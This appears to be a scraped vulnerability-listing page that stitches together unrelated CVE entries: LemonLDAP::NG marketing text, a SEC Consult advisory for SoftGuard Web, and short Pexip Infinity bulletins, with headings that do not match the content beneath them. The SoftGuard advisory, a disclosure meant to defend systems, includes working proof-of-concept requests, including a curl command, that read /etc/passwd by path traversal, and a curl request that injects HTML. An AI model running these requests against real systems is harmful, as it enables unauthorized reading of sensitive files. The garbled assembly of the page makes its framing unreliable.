In LemonLDAP::NG (aka lemonldap-ng) through 2.0.8, validity of the X.509 certificate is not checked by default when connecting to remote LDAP backends, because the default configuration of the Net::LDAPS module for Perl is used.

**Full AAA protection**

LemonLDAP::NG provides **authentication** (LDAP, Active Directory, Kerberos, Database, SSL, Social Networks, CAS, SAML, OpenID Connect, ...), **authorization** (access rules for applications based on attributes and groups) and **accounting** (user identity in logs).

*   Authentication
*   Authorization
*   Accounting

**Components**

LemonLDAP::NG relies on backends (files, databases, NoSQL) to store **configuration** and **sessions**. The **Portal** is the visible part, it displays the authentication screen and the menu, implements the standard protocols (CAS, SAML and OpenID Connect). The **Manager** is the administration interface. For applications working with HTTP headers for SSO, the **Handler** can be configured.

Read full presentation

**Identity Federation**

LemonLDAP::NG implements main SSO standards and can be used as gateway between these protocols

*   **CAS**
    
    CAS v1, v2 and v3  
    Attributes sharing  
    Access rules
    
*   **SAML**
    
    SSO, SLO and AA  
    Metadata import and export  
    Discovery Protocol (WAYF)
    
*   **OpenID Connect**
    
    Authorization Code, Implicit and Hybrid flows  
    ID Token HS and RS signatures  
    Extra claims definition
    

**Certifications and awards**

CVE-2020-16093: LemonLDAP::NG - Web Single Sign On and Access Management Free Software

The export function in SoftGuard Web (SGW) before 5.1.5 allows directory traversal to read an arbitrary local file via export or man.tcl.

A local file disclosure was found in the 'export' and 'man' functionality of SoftGuard. These functionalities are vulnerable because of insufficient input validation and arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed with current application privileges. Furthermore, an attacker can include arbitrary HTML into the affected web page. The code is executed in the context of the victim's browser when visiting the manipulated URL. The vulnerability can be used to change the contents of the displayed site or redirect to other sites.

**Vendor description**

There is no public description available for this vendor/product. The following description was provided as documentation:

"_SoftGuard is a network management extension which collects inventory-, analysis- and debugging data of devices and networks at least once a day. SoftGuard has an open structure, is built simple, is easily expandable, easy to use and is laid out for large scale networks. The data collection is performed with the protocols SNMP supporting the versions 1, 2c and 3. Additional protocols like ssh, telnet, rsh, https, NetBIOS/IP, ICMP ... complemented by SNMP if required._

_The SoftGuard Suite consists of three parts:_

*   _SoftGuard Network Center (SNC)_
*   _SoftGuard Host Center (SHC)_
*   _SoftGuard Monitor Center (SMC)_

_Aditionally there are a bunch of common and customer specific expansions like SoftGuard Web (SGW), SoftGuard Statistic Tool (SST), Port Configuration Tool (PCT), Network Access Points (NAP), Technician Access Point (TAP), etc."_

**Business recommendation**

SEC Consult recommends to update to the latest version of SoftGuard (network management extension). An in-depth security analysis performed by security professionals is highly advised, to identify and resolve potential further critical security issues.    

**Vulnerability overview/description****1) File System Access (CVE-2022-31202)  **

The export function allows authenticated attackers to download any arbitrary local file from the file system due to insufficient input  validation. The unfiltered URL parameter query enables an attacker to access arbitrary local files. This allows the attacker to define the complete path and the filename by himself. Files that include passwords and other sensitive information can be accessed. Furthermore, the built-in man functionality also allows attackers to read any arbitrary local file from the file system.   

**2) HTML Injection (CVE-2022-31201) **

Various components do not properly sanitize/encode user input. This leads to HTML injection vulnerabilities. By exploiting this vulnerability, an attacker can include arbitrary HTML into the affected web page. The code is executed in the context of the victim's browser when visiting the manipulated URL. The vulnerability can be used to change the contents of the displayed site or redirect to other sites. 

During the security assessment it was not possible to execute JavaScript code because the security headers Content-Security-Policy and X-Content-Type-Options are preventing the execution. 

**Proof of concept****1) File System Access (CVE-2022-31202)  ****1a) Export functionality  **

In order to access arbitrary local files, the export function as authenticated  user (Administration -> User -> Access -> Export) can be used. The following URL was used to set the filename to /etc/passwd 

    https ://$host:8016/sgw/export?dbs=file&db=DefUser_access_$username_db%2e
    1649426888398872%2etmp&query=file%3a/etc/passwd' 

The newly set filename (/etc/passwd) can be exported and downloaded via the execution button. Afterwards the content of the file gets downloaded successfully. 

    root:x:0:0:root:/root:/bin/bash 
    bin:x:1:1:bin:/bin:/sbin/nologin 
    daemon:x:2:2:daemon:/sbin:/sbin/nologin 
    adm:x:3:4:adm:/var/adm:/sbin/nologin 
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 
    sync:x:5:0:sync:/sbin:/bin/sync 
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin     
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 
    nobody:x:99:99:Nobody:/:/sbin/nologin 
    systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin           
    dbus:x:81:81:System message bus:/:/sbin/nologin     
    [...]  

**1b) MAN functionality **

The following curl command shows how an authenticated attacker can gain access to any arbitrary local file: 

    curl 'https://$host:8016/cgi-bin/man.tcl' -H 'Authorization: Basic [...]'  
    --data 'act=1&x=%2Fetc%2Fpasswd&submit=Execute' --compressed --insecure 

The curl response includes the contents of the file: 

    <!DOCTYPE html> 
    <html lang="en"><head><meta charset="UTF-8" /> 
    [...] 
    <pre> 
    root:x:0:0:root:/root:/bin/bash 
    bin:x:1:1:bin:/bin:/sbin/nologin 
    daemon:x:2:2:daemon:/sbin:/sbin/nologin 
    adm:x:3:4:adm:/var/adm:/sbin/nologin 
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 
    sync:x:5:0:sync:/sbin:/bin/sync 
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin     
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 
    nobody:x:99:99:Nobody:/:/sbin/nologin 
    systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin           
    dbus:x:81:81:System message bus:/:/sbin/nologin     
    [...]  

**2) HTML Injection (CVE-2022-31201)  **

When a new graph is created an authenticated attacker controls the GET parameters  and can inject malicious content. The following curl command shows how an authenticated attacker can inject HTML code: 

    curl 'https://$host:8016/sgw/graph?tbl=sgNode&t=percent&h=Status%3Ch1%3ESEC- 
    Consult%3C/h1%3E+%23&v=%7bdown+1934+orange%7d+%7bicmp+555+red%7d+%7bsnmpaaaa+8723+green%7d&scale=5' 
    -H 'Authorization: Basic [...]' --compressed --insecure 

The curl response includes the injected HTML code <h1>SEC Consult</h1>: 

    <!DOCTYPE html> 
    <html lang="en"> 
    <head> 
    <meta charset="UTF-8"/> 
    <title>SGW - Graph: Node</title> 
    [...] 
    </head> 
    <body class="master"> 
    [...] 
    <caption>∑3, Status<h1>SEC Consult</h1>, #11212</caption> 
    [...] 
    <tr><td>Status<h1>SEC Consult</h1></td> 
    [...] 
    </body></html> 

**Vulnerable / tested versions**

The following version has been tested and found to be vulnerable: 

*   SoftGuard Web (SGW) 5.1.3

The vendor provided the following information regarding the affected versions: 

1a) affected version 4.5.0 (2019-05-04) to version 4.5.8 (2020-05-05) 

1b) since SoftGuard 2.0 with SoftGuard Web 1.0 (~1998/99) 

2)  since SoftGuard 3.6.0 (2009-10-31) / SoftGuard 3.6.6 (2011-02-15) with SoftGuard Web 2.6.0/2.6.6  

**Vendor contact timeline**

CVE-2022-31202: Multiple vulnerabilities in SoftGuard SNMP Network Management Extension

Pexip Infinity before 28.1 allows remote attackers to trigger a software abort via G.719.

CVE-2022-32263: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27 before 28.0 allows remote attackers to trigger excessive resource consumption and termination because of registrar resource mishandling.

CVE-2022-29286: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27.x before 27.3 allows remote attackers to trigger a software abort via the Session Initiation Protocol.

CVE-2022-27928: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27.x before 27.2 has Improper Access Control. An attacker can sometimes join a conference (call join) if it has a lock but not a PIN.

CVE-2022-25357: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via HTTP.

CVE-2022-27934: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via H.323.

CVE-2022-27936: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via One Touch Join.

CVE-2022-27932: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort, and possibly enumerate usernames, via One Touch Join.

Tag

#perl